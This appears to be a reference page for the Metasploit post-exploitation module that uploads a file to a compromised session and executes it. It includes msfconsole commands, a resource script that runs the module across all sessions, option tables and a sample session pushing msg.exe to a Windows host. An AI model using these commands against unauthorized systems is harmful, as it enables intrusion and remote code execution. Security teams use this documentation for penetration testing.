Upload and Execute - Metasploit

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Module Overview

Name: Upload and Execute
Module: post/multi/manage/upload_exec
Source code: modules/post/multi/manage/upload_exec.rb
Disclosure date: -
Last modification time: 2018-10-02 21:33:01 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Push a file and execute it.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/manage/upload_exec

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/manage/upload_exec
msf post(upload_exec) > show options
    ... show and set options ...
msf post(upload_exec) > set SESSION session-id
msf post(upload_exec) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:

framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/manage/upload_exec")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

• SESSION: The session to run this module on.

• LPATH: Local file path to upload and execute

Knowledge Base

msf > use post/multi/manage/upload_exec
msf post(upload_exec) > show options

Module options (post/multi/manage/upload_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LFILE                     yes       Local file to upload and execute
   RFILE                     no        Name of file on target (default is basename of LFILE)
   SESSION                   yes       The session to run this module on.

msf post(upload_exec) > set lfile /tmp/
lfile => /tmp/
msf post(upload_exec) > set lfile /tmp/msg.exe
lfile => /tmp/msg.exe
msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe
rfile => C:\Users\sinn3r\Desktop\msg.exe
msf post(upload_exec) > sessions

Active sessions
===============

  Id  Type                     Information                               Connection
  --  ----                     -----------                               ----------
  1   meterpreter x86/windows  WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM  192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149)

msf post(upload_exec) > set session 1
session => 1

msf post(upload_exec) > run

[-] Post interrupted by the console user
[*] Post module execution completed

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Msfconsole Usage

Here is how the multi/manage/upload_exec post exploitation module looks in the msfconsole:

msf6 > use post/multi/manage/upload_exec

msf6 post(multi/manage/upload_exec) > show info

       Name: Upload and Execute
     Module: post/multi/manage/upload_exec
   Platform: Windows, Unix, Linux, OSX, BSD, Solaris
       Arch: 
       Rank: Normal

Provided by:
  egypt <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  ARGS                      no        Command-line arguments to pass to the uploaded file
  LPATH                     yes       Local file path to upload and execute
  RPATH                     no        Remote file path on target (default is basename of LPATH)
  SESSION                   yes       The session to run this module on.
  TIMEOUT  60               yes       Timeout for command execution

Description:
  Push a file and execute it.

Module Options

This is a complete list of options available in the multi/manage/upload_exec post exploitation module:

msf6 post(multi/manage/upload_exec) > show options

Module options (post/multi/manage/upload_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ARGS                      no        Command-line arguments to pass to the uploaded file
   LPATH                     yes       Local file path to upload and execute
   RPATH                     no        Remote file path on target (default is basename of LPATH)
   SESSION                   yes       The session to run this module on.
   TIMEOUT  60               yes       Timeout for command execution

Advanced Options

Here is a complete list of advanced options supported by the multi/manage/upload_exec post exploitation module:

msf6 post(multi/manage/upload_exec) > show advanced

Module advanced options (post/multi/manage/upload_exec):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FileDropperDelay                   no        Delay in seconds before attempting cleanup
   VERBOSE           false            no        Enable detailed status messages
   WORKSPACE                          no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the multi/manage/upload_exec module can do:

msf6 post(multi/manage/upload_exec) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the multi/manage/upload_exec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/manage/upload_exec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Command returned no output

Here is a relevant code snippet related to the "Command returned no output" error message:

43:	
44:	    print_status("Executing command: #{cmd}")
45:	    output = cmd_exec(cmd, args, timeout)
46:	
47:	    if output.blank?
48:	      print_status('Command returned no output')
49:	    else
50:	      print_line(output)
51:	    end
52:	  end
53:	

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Related Pull Requests

• #10686 Merged Pull Request: Add ARGS, TIMEOUT, and output to upload_exec
• #10384 Merged Pull Request: Fix upload_exec for absolute paths
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #8259 Merged Pull Request: Add a simple upload exec module

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See Also

Check also the following modules related to this module:

• post/multi/manage/autoroute
• post/multi/manage/dbvis_add_db_admin
• post/multi/manage/dbvis_query
• post/multi/manage/fileshare
• post/multi/manage/hsts_eraser
• post/multi/manage/multi_post
• post/multi/manage/open
• post/multi/manage/play_youtube
• post/multi/manage/record_mic
• post/multi/manage/screensaver
• post/multi/manage/screenshare
• post/multi/manage/set_wallpaper
• post/multi/manage/shell_to_meterpreter
• post/multi/manage/sudo
• post/multi/manage/system_session
• post/multi/manage/zip

Authors

egypt

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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